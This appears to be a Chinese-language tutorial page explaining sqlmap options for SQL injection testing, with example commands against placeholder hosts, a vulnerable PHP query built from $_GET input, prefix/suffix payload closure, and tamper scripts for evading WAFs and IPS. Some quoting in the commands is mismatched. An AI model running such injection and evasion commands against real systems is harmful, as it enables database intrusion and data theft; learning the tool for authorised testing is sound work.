目录
- 选项 -p
- 选项--skip
- URI注入点
- 选项--dbms
- 选项--os
- 选项--invalid-bignum/--invalid-logical
- 选项--no-cast
- 选项 --no-escape
- 选项--tamper
1、选项 -p
- 指定扫描的参数,使--level失效,只指定对哪些进行注入点扫描,而其他的忽略
-p "user-agent,referer"
2、选项--skip
- 排除指定的扫描参数
--level=5 --skip="id,user-agent" //在level即都扫描的情况下,id和user-agent不扫描
3.URI注入点
- 对于伪静态页面,也可以使用sqlmap通过此方法进行sql注入探测
sqlmap -u "http://targeturl/param1/value1*/param2/value2*
//有些服务不遵循RFC标准,变量和值以类似于目录形式在URL上输入,只要在值后加上*号,sqlmap即可使用payload进行注入探测
4、选项--dbms
在已经知道目标服务器时那种类型的数据库时,使用--dbms可以提供sqlmap的工作效率
--dbms="mysql"
//如MySQL、Oracle(12c)、Microsoft SQL Server<2005>等
5、选项--os
- linux
- windows
6、选项--invalid-bignum/--invalid-logical
- 通常sqlmap使用负值使参数取值失效:id=13-->id=-13
- bignum使用大数使参数值失效:id=99999999
- logical使用布尔判断使取值失效:id=13 and 18=19
7、选项--no-cast
- 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
- 对于老版本的mysql数据库需要使用此参数,禁止转换空格为NULL,因为如果转换为NULL可能不能提取数据
8、选项 --no-escape
- 出于混淆和避免出错的目的,payload中常用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
select 'foo' ---> select char(102)+char(111)+char(111)
//102表示f,111表示o,通过变换char编码的方式,将单引号'去掉,再发送至服务端
- 使用此选项参数,即关闭此功能,按照单引号直接发送
$query = "SELECT * FROM users WHERE id=('" . $_GET[’id’] . "') LIMIT 0, 1";
sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id
--prefix "’)" --suffix "AND (’abc’=’abc“
//id=1即为$GET[id]取得的值,-p表示探测id是否存在注入,前缀双引号里面的')闭合签名的(',后缀的abc=abc永远为真
query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND
(’abc’=’abc’) LIMIT 0, 1";
9、选项--tamper
- 混淆脚本,用于绕过应用层过滤、IPS、WAF
通过dpkg -L sqlmap | grep tamper
,可以找到在其/usr/share/sqlmap/tamper/目录下有很多绕过IPS、WAF的脚本
sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="
between.py,randomcase.py,space2comment.py" -v 3
会自动去/tamper/目录下找到相应脚本,按顺序执行
网友评论